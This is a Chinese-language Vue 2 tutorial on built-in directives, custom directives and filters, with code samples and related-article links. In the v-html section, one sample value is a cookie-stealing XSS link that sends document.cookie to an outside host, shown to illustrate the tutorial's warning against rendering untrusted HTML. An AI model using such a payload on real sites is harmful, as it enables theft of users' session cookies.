文章目录

内置指令
- v-text指令
- v-html指令
- v-cloak指令
- v-once指令
- v-pre指令
自定义指令
过滤器

内置指令

复习之前所学指令：

v-bind：单向绑定解析表达式, 可简写为 :xxx
v-model：双向数据绑定
v-for：遍历数组/对象/字符串
v-on：绑定事件监听, 可简写为@
v-if：条件渲染（动态控制节点是否存存在）
v-else：条件渲染（动态控制节点是否存存在）
v-show：条件渲染 (动态控制节点是否展示)

v-text指令

作用：向其所在的节点中渲染文本内容
与插值语法的区别：v-text会替换掉节点中的内容，{{xx}}则不会

<body><div id="root"><div>你好，{{name}}</div><div v-text="name"></div><div v-text="str"></div></div>
</body><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 new Vue({el:'#root',data:{name:'zhangsan',str:'<h3>你好啊！</h3>'}})
</script>

v-html指令

作用：向指定节点中渲染包含html结构的内容
与插值语法的区别：
- v-html会替换掉节点中所有的内容，{{xx}}则不会
- v-html可以识别html结构
严重注意：v-html有安全性问题
- 在网站上动态渲染任意HTML是非常危险的，容易导致XSS攻击
- 一定要在可信的内容上使用v-html，永不要用在用户提交的内容上

<body><div id="root"><div>你好，{{name}}</div><div v-html="str"></div><div v-html="str2"></div></div>
</body><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。new Vue({el:'#root',data:{name:'',str:'<h3>你好啊！</h3>',str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了，快来！</a>',}})
</script>

v-cloak指令

本质是一个特殊属性（没有值），Vue实例创建完毕并接管容器后，会删掉v-cloak属性
使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题

<style>[v-cloak]{display:none;}
</style>
<body><div id="root"><h2 v-cloak>{{name}}</h2></div><script type="text/javascript" src="./vue.js"></script>
</body><script type="text/javascript">console.log(1)Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。new Vue({el:'#root',data:{name:'尚硅谷'}})
</script>

v-once指令

.v-once所在节点在 初次动态渲染 后，就视为静态内容了
以后数据的改变不会引起v-once所在结构的更新，可以用于优化性能

<body><div id="root"><h2 v-once>初始化的n值是:{{n}}</h2><h2>当前的n值是:{{n}}</h2><button @click="n++">点我n+1</button></div>
</body><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。new Vue({el:'#root',data:{n:1}})
</script>

v-pre指令

跳过其所在节点的编译过程
可利用它跳过：没有使用指令语法、没有使用插值语法的节点，会加快编译

<body><div id="root"><h2 v-pre>Vue其实很简单</h2><h2 >当前的n值是:{{n}}</h2><button @click="n++">点我n+1</button></div>
</body><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。new Vue({el:'#root',data:{n:1}})
</script>

自定义指令

需求1：定义一个v-big指令，和v-text功能类似，但会把绑定的数值放大10倍。
需求2：定义一个v-fbind指令，和v-bind功能类似，但可以让其所绑定的input元素默认获取焦点。

定义语法：

1、局部指令：

new Vue({                                                                    directives{指令名:回调函数}
})
或
new Vue({directives:{指令名:配置对象}
})

2、全局指令：

Vue.directive(指令名,配置对象)
或
Vue.directive(指令名,回调函数)

配置对象中常用的3个回调：

bind：指令与元素成功绑定时调用
inserted：指令所在元素被插入页面时调用
update：指令所在模板结构被重新解析时调用

实现：

需求1：定义一个v-big指令，和v-text功能类似，但会把绑定的数值放大10倍。

需求2：定义一个v-fbind指令，和v-bind功能类似，但可以让其所绑定的input元素默认获取焦点。

<body><div id="root"><h2>{{name}}</h2><h2>当前的n值是：<span v-text="n"></span> </h2><!-- <h2>放大10倍后的n值是：<span v-big-number="n"></span> </h2> --><h2>放大10倍后的n值是：<span v-big="n"></span> </h2><button @click="n++">点我n+1</button><hr/><input type="text" v-fbind:value="n"></div>
</body><script type="text/javascript">Vue.config.productionTip = false//定义全局指令/* Vue.directive('fbind',{//指令与元素成功绑定时（一上来）bind(element,binding){element.value = binding.value},//指令所在元素被插入页面时inserted(element,binding){element.focus()},//指令所在的模板被重新解析时update(element,binding){element.value = binding.value}}) */new Vue({el:'#root',data:{name:'乌拉拉',n:1},directives:{/*big函数何时会被调用？1.指令与元素成功绑定时（一上来）。2.指令所在的模板被重新解析时。*/big(element,binding){console.log('big',this) //注意此处的this是window// console.log('big')element.innerText = binding.value * 10},//使用big-number作为指令名/* 'big-number'(element,binding){element.innerText = binding.value * 10}, */         fbind:{//指令与元素成功绑定时（一上来）bind(element,binding){element.value = binding.value},//指令所在元素被插入页面时inserted(element,binding){element.focus()},//指令所在的模板被重新解析时update(element,binding){element.value = binding.value}}}})
</script>

备注：

指令定义时不加v-，但使用时要加v-
指令名如果是多个单词，要使用kebab-case命名方式，不要用camelCase命名

过滤器

定义： 过滤器（Filters）是 vue 为开发者提供的功能，常用于文本的格式化。对要显示的数据进行特定格式化后再显示（适用于一些简单逻辑的处理）

语法：

注册过滤器：全局Vue.filter(name,callback) 或局部new Vue{filters:{}}
使用过滤器：{{ xxx | 过滤器名}} 或 v-bind:属性 = "xxx | 过滤器名"(很少)

<body><div id="root"><h2>显示格式化后的时间</h2><!-- 计算属性实现 --><h3>现在是：{{fmtTime}}</h3><!-- methods实现 --><h3>现在是：{{getFmtTime()}}</h3><!-- 过滤器实现 --><h3>现在是：{{time | timeFormater}}</h3><!-- 过滤器实现（传参） --><h3>现在是：{{time | timeFormater('YYYY_MM_DD') | mySlice}}</h3><h3 :x="msg | mySlice">乌拉拉</h3></div><div id="root2"><h2>{{msg | mySlice}}</h2></div>
</body><script type="text/javascript">Vue.config.productionTip = false//全局过滤器Vue.filter('mySlice',function(value){return value.slice(0,4)})new Vue({el:'#root',data:{time:+new Date(), //时间戳msg:'你好，乌拉拉'},computed: {fmtTime(){return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')}},methods: {getFmtTime(){return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')}},//局部过滤器filters:{timeFormater(value,str='YYYY年MM月DD日 HH:mm:ss'){return dayjs(value).format(str)}}})new Vue({el:'#root2',data:{msg:'hello,wulala!'}})
</script>

备注：

过滤器也可以接收额外参数、多个过滤器也可以串联
并没有改变原本的数据, 是产生新的对应的数据

过滤器的兼容性：

过滤器仅在 vue 2.x 和 1.x 中受支持，在 vue 3.x 的版本中剔除了过滤器相关的功能。

在企业级项目开发中：

如果使用的是 2.x 版本的 vue，则依然可以使用过滤器相关的功能
如果项目已经升级到了 3.x 版本的 vue，官方建议使用计算属性或方法代替被剔除的过滤器功能

Vue 内置指令、自定义指令、过滤器相关推荐

vue笔记（二）Vue-class与style、事件、计算属性、数据监听、指令+自定义指令、过滤器
vue官网一 .class.style操作二.事件三.计算属性四.数据监听.观测五.指令+自定义指令六.过滤器一 .class.style操作官网 1. class使用: (1)v-b ...
vue.js 数据替换_Vue.js实战笔记之Vue内置指令
指令是Vue模板中最常用的一项功能,它带有前缀v-,主要职责是当其表达式的值改变时,相应的将某些行为应用在 DOM 上. 基本指令 v-clock v-clock 不需要表达式,它会在 Vue 实例结 ...
Vue.js中的自定义指令directives
除了核心功能默认内置的指令 (v-model 和 v-show),Vue 也允许注册自定义指令.自定义指令,需要声明钩子函数.注册自定义指令也分为注册全局自定义指令和注册局部自定义指令.两者用法相同, ...
Vue项目中的自定义指令
Vue项目中的自定义指令使用场景:需要对DOM元素进行底层操作局部自定义指令当指令第一次被绑定到元素上的时候,会立即触发 bind() 1 定义与 data 同级在 directives 节 ...
Vue.js 内置了10个过滤器，下面简单介绍它们的功能和用法。
Vue.js 内置了10个过滤器,下面简单介绍它们的功能和用法. ①capitalize:字符串首字符转化成大写 ②uppercase:字符串转化成大写 ③lowercase :字符串转化成小写 ...
Vue 进阶系列丨自定义指令实现按钮权限功能
Vue 进阶系列教程将在本号持续发布,一起查漏补缺学个痛快!若您有遇到其它相关问题,非常欢迎在评论中留言讨论,达到帮助更多人的目的.若感本文对您有所帮助请点个赞吧! 2013年7月28日,尤雨溪第一次 ...
浅谈Vue内置component组件的应用场景
官方的说明渲染一个"元组件"为动态组件.依 is 的值,来决定哪个组件被渲染.  & ...
JDK注解（内置和自定义）
JDK注解(内置和自定义) 1.内置 @Override:可以确保重写的方法,的确存在与父类.接口中,可以有效避免单词拼错的情况 @Deprecated:给用于提示,该方法由于安全,性能问题等,已经不 ...
vue内置动态组件component使用详解
1 动态组件介绍 component是vue内置组件,主要作用为动态渲染组件,基本用法如下: <!-- 动态组件由 vm 实例的 `componentName` property 控制 --&g ...

Vue 内置指令、自定义指令、过滤器